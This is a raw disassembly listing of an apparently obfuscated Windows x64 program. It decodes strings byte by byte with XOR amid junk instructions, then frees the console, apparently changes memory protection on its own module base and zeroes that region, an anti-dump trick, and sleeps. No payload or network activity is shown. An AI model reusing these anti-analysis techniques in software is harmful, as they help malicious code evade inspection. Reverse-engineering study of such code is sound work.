mov word [rbp + 0x320], ax
movzx ecx, r10w
movzx bx, sil
mov bh, 0x45
mov rbx, qword [0x14002bb90]
lea rcx, [0x14002bb80]
call fcn.14001de80
mov rcx, rax
sub edx, edx
shl ax, 0x96
mov eax, 5
div rbx
sets ah
movzx eax, byte [rcx + rdx]
xor al, 0x61
setne bl
movsx eax, al
mov word [rbp + 0x322], ax
mov rbx, qword [0x14002bb90]
sete ch
movsxd rcx, edi
lea rcx, [0x14002bb80]
call fcn.14001de80
mov rcx, rax
xchg al, al
bsf rax, r12
bts eax, esp
xor edx, edx
sal ah, cl
rol ah, cl
mov eax, 6
jmp 0x14003756c
div rbx
sar eax, cl
movzx eax, byte [rcx + rdx]
xor al, 0x5f
seta bh
movsx eax, al
cmovbe ecx, r14d
movzx ecx, si
mov word [rbp + 0x324], ax
movsx rcx, bp
movsxd rbx, r10d
not rbx
mov rbx, qword [0x14002bb90]
mov cl, r8b
xchg ch, cl
not cl
lea rcx, [0x14002bb80]
call fcn.14001de80
mov rcx, rax
shl ax, cl
lahf
btr rax, 0x14
xor edx, edx
or al, spl
sar ax, 0x30
rol al, 0x8e
mov eax, 7
clc
cmc
div rbx
btr ebx, r15d
shld bx, si, 0xd1
movzx eax, byte [rcx + rdx]
movsxd rbx, r9d
movzx bx, spl
xor al, 0x78
mov bx, 0x44c5
movsx ecx, r9w
movsx eax, al
cmove bx, r9w
mov word [rbp + 0x326], ax
movsxd rbx, ebp
mov bx, 0x7991
mov rbx, qword [0x14002bb90]
lea rcx, [0x14002bb80]
jmp 0x140037619
call fcn.14001de80
mov rcx, rax
or al, 0xcf
sub edx, edx
or al, bl
mov eax, 8
clc
div rbx
xchg bh, al
test ebx, ebp
movzx eax, byte [rcx + rdx]
cmc
bt cx, r8w
xor al, 0x36
cmovo cx, r9w
not ebx
movsx eax, al
not bh
mov word [rbp + 0x328], ax
mov rbx, qword [0x14002bb90]
cmovp cx, bp
movzx ecx, r10w
lea rcx, [0x14002bb80]
jmp 0x14003766e
call fcn.14001de80
mov rcx, rax
rcl rax, 0x2c
adc al, 0x37
shrd rax, r15, 0x70
xor edx, edx
bsf rax, rbx
bts ax, r11w
mov eax, 9
test r13d, 0x79317ec1
div rbx
rol al, cl
bts bx, r15w
adc bl, sil
movzx eax, byte [rcx + rdx]
shld bx, r8w, 0x4c
xor cx, r13w
ror bl, 0xe
xor al, 0x34
movsxd rcx, ecx
movsx eax, al
movzx ecx, r15w
mov word [rbp + 0x32a], ax
mov rbx, qword [0x14002bb90]
setbe cl
bswap ecx
lea rcx, [0x14002bb80]
jmp 0x1400376e1
call fcn.14001de80
mov rcx, rax
sal al, 0x62
sub edx, edx
adc al, ch
mov eax, 0xa
cmp sp, dx
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x2e
movzx bx, spl
movsx cx, spl
movsx eax, al
movsx cx, bl
mov cx, 0x2c91
mov word [rbp + 0x32c], ax
cmovs bx, r13w
movzx cx, r9b
mov rbx, qword [0x14002bb90]
bswap rcx
not ecx
movzx ecx, r14w
lea rcx, [0x14002bb80]
jmp 0x140037743
call fcn.14001de80
mov rcx, rax
xor edx, edx
ror ax, 0x62
mov eax, 0xb
test ax, 0x7f3e
div rbx
btr bx, 0xe6
ror rax, cl
movzx eax, byte [rcx + rdx]
sbb bl, 0x52
mov bx, 0x54e7
xor al, 0x65
movsx eax, al
bswap ecx
mov word [rbp + 0x32e], ax
mov rbx, qword [0x14002bb90]
jmp 0x140037791
lea rcx, [0x14002bb80]
call fcn.14001de80
mov rcx, rax
sbb ax, 0x3dc6
sub edx, edx
shld ax, si, 0x5c
bts eax, r9d
rcr rax, 0x4c
mov eax, 0xc
div rbx
cmp bp, r8w
bts rax, r8
movzx eax, byte [rcx + rdx]
bsr bx, r12w
xor al, 0x78
movsx rbx, cx
bswap ebx
movsx eax, al
movsx ecx, r13w
movzx ebx, bx
mov bh, 0x49
mov word [rbp + 0x330], ax
movzx bx, dil
mov rbx, qword [0x14002bb90]
mov cl, bpl
cmovno rcx, rdx
movsx ecx, sp
lea rcx, [0x14002bb80]
jmp 0x14003780a
call fcn.14001de80
mov rcx, rax
rcl rax, 0x5e
xor edx, edx
neg ax
mov eax, 0xd
div rbx
bts rax, rdx
inc eax
movzx eax, byte [rcx + rdx]
xor al, 0x65
not cx
sbb ch, dl
or dl, dh
movsx eax, al
shr edx, cl
mov word [rbp + 0x332], ax
xor eax, eax
mov dx, bx
cwd
mov word [rbp + 0x334], ax
mov byte [rbp + 0x336], 1
movzx ecx, r12w
mov cl, r9b
xchg ecx, ecx
lea rdx, [rbp + 0x550]
movsxd rcx, esp
setae ch
lea rcx, [rbp + 0x318]
jmp 0x140037879
call fcn.14001a6e0
nop
movsxd rcx, esp
not cl
lea rcx, [0x14002bf20]
call fcn.14001de80
movzx ecx, byte [rax]
clc
shr ax, cl
mov ax, sp
xor cl, 0x4b
seta al
movsxd rbx, ecx
movsx eax, cl
mov word [rbp + 0x338], ax
mov ch, 0x8b
movzx rcx, r10w
mov rbx, qword [0x14002bf30]
movsx ecx, r12w
mov cl, r14b
lea rcx, [0x14002bf20]
jmp 0x1400378ce
call fcn.14001de80
mov rcx, rax
bswap ax
bts ax, r14w
xor edx, edx
bt eax, 0x6d
mov eax, 1
cmc
div rbx
sar ebx, cl
movsxd rbx, edx
cmp sil, r11b
movzx eax, byte [rcx + rdx]
bswap rcx
ror cx, cl
movsx rbx, ax
xor al, 0x73
mov bl, r9b
setnp ch
jmp 0x140037910
movsx eax, al
movsx bx, r10b
setb bh
not ecx
mov word [rbp + 0x33a], ax
cmovp rcx, r8
movzx bx, sil
mov rbx, qword [0x14002bf30]
lea rcx, [0x14002bf20]
jmp 0x140037940
call fcn.14001de80
mov rcx, rax
movsx eax, bx
bt rax, 0xf
sub edx, edx
movzx ax, spl
mov eax, 2
cmp ch, 0x5b
test dil, 0x95
div rbx
dec bl
movzx eax, byte [rcx + rdx]
xor al, 0x44
movsx ebx, sp
jmp 0x140037976
movsx eax, al
movzx ebx, bp
mov word [rbp + 0x33c], ax
movzx ebx, ax
mov rbx, qword [0x14002bf30]
movsx cx, r15b
lea rcx, [0x14002bf20]
jmp 0x14003799e
call fcn.14001de80
mov rcx, rax
xor ax, 0x3ae3
sub edx, edx
sal ah, 0xa0
ror ax, cl
mov eax, 3
test r14b, 0x51
div rbx
test r13b, 0xf1
movzx eax, byte [rcx + rdx]
shr cx, 0x7d
clc
xor al, 0x75
movsx eax, al
seto ch
xchg bx, cx
mov word [rbp + 0x33e], ax
movzx rcx, ax
movzx ebx, r9w
mov ebx, 0x48bf4db0
mov rbx, qword [0x14002bf30]
lea rcx, [0x14002bf20]
jmp 0x1400379fd
call fcn.14001de80
mov rcx, rax
sub ax, r10w
movsx eax, r11w
cwde
xor edx, edx
jmp 0x140037a1e
mov eax, 4
cmp r13d, 0x57cc501a
div rbx
movzx eax, byte [rcx + rdx]
xor al, 0x6d
movsx eax, al
mov word [rbp + 0x340], ax
movsx rbx, ax
mov ecx, esp
mov rbx, qword [0x14002bf30]
movzx rcx, cx
xchg ecx, ecx
mov cl, 0xec
lea rcx, [0x14002bf20]
jmp 0x140037a5e
call fcn.14001de80
mov rcx, rax
xor edx, edx
ror rax, cl
bswap ax
mov eax, 5
test r11b, 0x8e
div rbx
bswap ebx
bts bx, r12w
add ax, 0x5d83
movzx eax, byte [rcx + rdx]
movsx ebx, r15w
shr bh, 0xb2
cmc
xor al, 0x70
movsx eax, al
movsxd rbx, edi
cmovnp rcx, rcx
movsx cx, r8b
mov word [rbp + 0x342], ax
cmovne bx, si
movzx rbx, si
movsx ebx, bp
mov rbx, qword [0x14002bf30]
movsxd rcx, ebp
lea rcx, [0x14002bf20]
jmp 0x140037aca
call fcn.14001de80
mov rcx, rax
add eax, 0x548507b9
rcl rax, 0xfc
sub edx, edx
and al, dil
mov eax, 6
div rbx
sub al, 0xd8
movzx eax, byte [rcx + rdx]
movsxd rcx, r13d
rcr ch, 0x54
shr rbx, cl
xor al, 0x65
bswap ebx
movsx eax, al
movsx ebx, ax
jmp 0x140037b0b
mov word [rbp + 0x344], ax
movzx ecx, r8w
movsx bx, r13b
mov rbx, qword [0x14002bf30]
lea rcx, [0x14002bf20]
jmp 0x140037b2e
call fcn.14001de80
mov rcx, rax
bt ax, 0x90
bts eax, edx
sub edx, edx
xadd ah, ah
jmp 0x140037b48
mov eax, 7
div rbx
xor bx, bp
movzx eax, byte [rcx + rdx]
sal cx, 0x47
rcr bx, cl
xor al, 0x72
movsx ecx, r9w
movsx eax, al
mov ch, 0xbd
movsx rbx, r13w
movsx ecx, r10w
mov word [rbp + 0x346], ax
movsx ebx, si
mov cl, r13b
mov rbx, qword [0x14002bf30]
movsx rcx, r13w
movsx ecx, r15w
lea rcx, [0x14002bf20]
jmp 0x140037b9a
call fcn.14001de80
mov rcx, rax
sub edx, edx
btc ax, 0xe0
mov eax, 8
test r13w, 0x2ae
cmp bl, 0xe7
cmc
div rbx
movzx eax, byte [rcx + rdx]
btr ecx, r8d
neg rcx
clc
xor al, 0x43
movsx rcx, r9w
setl bl
movsx eax, al
mov word [rbp + 0x348], ax
jmp 0x140037bdf
mov rbx, qword [0x14002bf30]
mov rcx, 0x78620258
lea rcx, [0x14002bf20]
jmp 0x140037bf9
call fcn.14001de80
mov rcx, rax
btc rax, 0xed
jmp 0x140037c0e
xor edx, edx
and ax, 0x3313
not ah
mov eax, 9
clc
div rbx
movzx eax, byte [rcx + rdx]
movsx cx, bl
xor al, 0x6c
movsx ebx, bx
xchg rcx, rcx
sete bh
movsx eax, al
movzx cx, dil
cmovns ecx, eax
jmp 0x140037c42
mov word [rbp + 0x34a], ax
mov rbx, qword [0x14002bf30]
movsxd rcx, ecx
bswap cx
lea rcx, [0x14002bf20]
jmp 0x140037c62
call fcn.14001de80
mov rcx, rax
jmp 0x140037c75
xor edx, edx
xadd ax, ax
test edx, r11d
shld ax, bp, 0x72
mov eax, 0xa
jmp 0x140037c8d
div rbx
movzx eax, byte [rcx + rdx]
movsxd rbx, r10d
cmc
xor al, 0x69
setb cl
movsx eax, al
mov word [rbp + 0x34c], ax
movsxd rcx, eax
not bh
movzx cx, r10b
mov rbx, qword [0x14002bf30]
cmovnp cx, r11w
setp cl
lea rcx, [0x14002bf20]
jmp 0x140037ccc
call fcn.14001de80
mov rcx, rax
btr ax, di
xor edx, edx
shr ax, cl
mov eax, 0xb
test r9b, 0xeb
test ebp, r14d
div rbx
add eax, 0x22255f26
rol bh, cl
movzx eax, byte [rcx + rdx]
stc
cmp r15w, r12w
xor al, 0x65
mov rbx, 0x2fc22ab4
cmovno rcx, rcx
movsx eax, al
jmp 0x140037d14
mov word [rbp + 0x34e], ax
cmovnp rbx, rbx
movsx cx, r13b
mov rbx, qword [0x14002bf30]
jmp 0x140037d33
lea rcx, [0x14002bf20]
call fcn.14001de80
mov rcx, rax
shld ax, r9w, 0xb2
sub edx, edx
stc
mov eax, 0xc
cmp r8, rsi
div rbx
rcr rbx, cl
btr eax, ebx
movzx eax, byte [rcx + rdx]
xor al, 0x6e
movzx ebx, dx
movsx eax, al
mov word [rbp + 0x350], ax
movzx ecx, bx
movzx rcx, r8w
movzx cx, r15b
mov rbx, qword [0x14002bf30]
lea rcx, [0x14002bf20]
jmp 0x140037d8e
call fcn.14001de80
mov rcx, rax
movzx eax, r10w
movsx eax, r15w
adc ax, si
xor edx, edx
test sp, 0x2960
btr ax, ax
mov eax, 0xd
test r12b, spl
stc
div rbx
test r8, 0x20fd6abb
movzx eax, byte [rcx + rdx]
bswap ebx
xor al, 0x74
movsx ebx, bx
movzx rbx, di
jmp 0x140037dd3
movsx eax, al
mov word [rbp + 0x352], ax
bswap bx
movzx rbx, r15w
mov rbx, qword [0x14002bf30]
movzx ecx, r15w
jmp 0x140037df7
call fcn.140005af0
mov rcx, qword [0x140024230]
jmp 0x140043a9a
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rbp + 0x8bc], r12d
test spl, bpl
sub ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
cdq
bswap dx
xchg cl, r8b
lea r9, [rbp + 0x8bc]
mov edx, 0x1000
xchg cx, r8w
mov r8d, 4
setae cl
movzx ecx, r8w
movsxd rcx, ebx
mov rcx, rax
jmp 0x140043aea
call qword [0x140024160]
sub edx, edx
cmovbe r8, r10
movsx r8, r11w
jmp 0x140043aff
mov r8d, 0x1000
not cx
sete ch
mov ecx, 0x65390192
mov rcx, rbx
jmp 0x140043b18
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x7d0
jmp 0x140043b27
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
movsx ecx, cx
lea rcx, [rbp + 0x8d8]
jmp 0x140043b3d
call fcn.14001adc0
nop
cmovp rcx, r9
mov rcx, r14
movzx cx, r14b
lea rcx, [rbp + 0x928]
jmp 0x140043b5b
call fcn.14001b4e0
nop
mov cx, r14w
mov cx, 0x4d69
movzx cx, bpl
lea rcx, [rbp + 0x968]
jmp 0x140043b7a
call fcn.14001b4e0
nop
jmp 0x140043b88
lea rcx, [rbp + 0x948]
jmp 0x140043b94
call fcn.14001b4e0
mov rcx, qword [rbp + 0x988]
clc
xor rcx, rsp
jmp 0x140043ba9
call fcn.14004f3c9
lea r11, [rsp + 0xa90]
movzx r14, ax
movsx rdi, r15w
movsxd rsi, r10d
mov rbx, qword [r11 + 0x20]
movsx rsi, r14w
mov r14b, spl
mov rsi, qword [r11 + 0x28]
mov r14, r15
movsxd rdi, r15d
bswap r12d
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
xchg r14w, r14w
movzx r14w, bpl
mov rsp, r11
movsx r15d, sp
movzx ebp, di
pop r15
pop r14
movsx ebp, r11w
mov bp, 0x2b52
pop rbp
jmp 0x140043c06
ret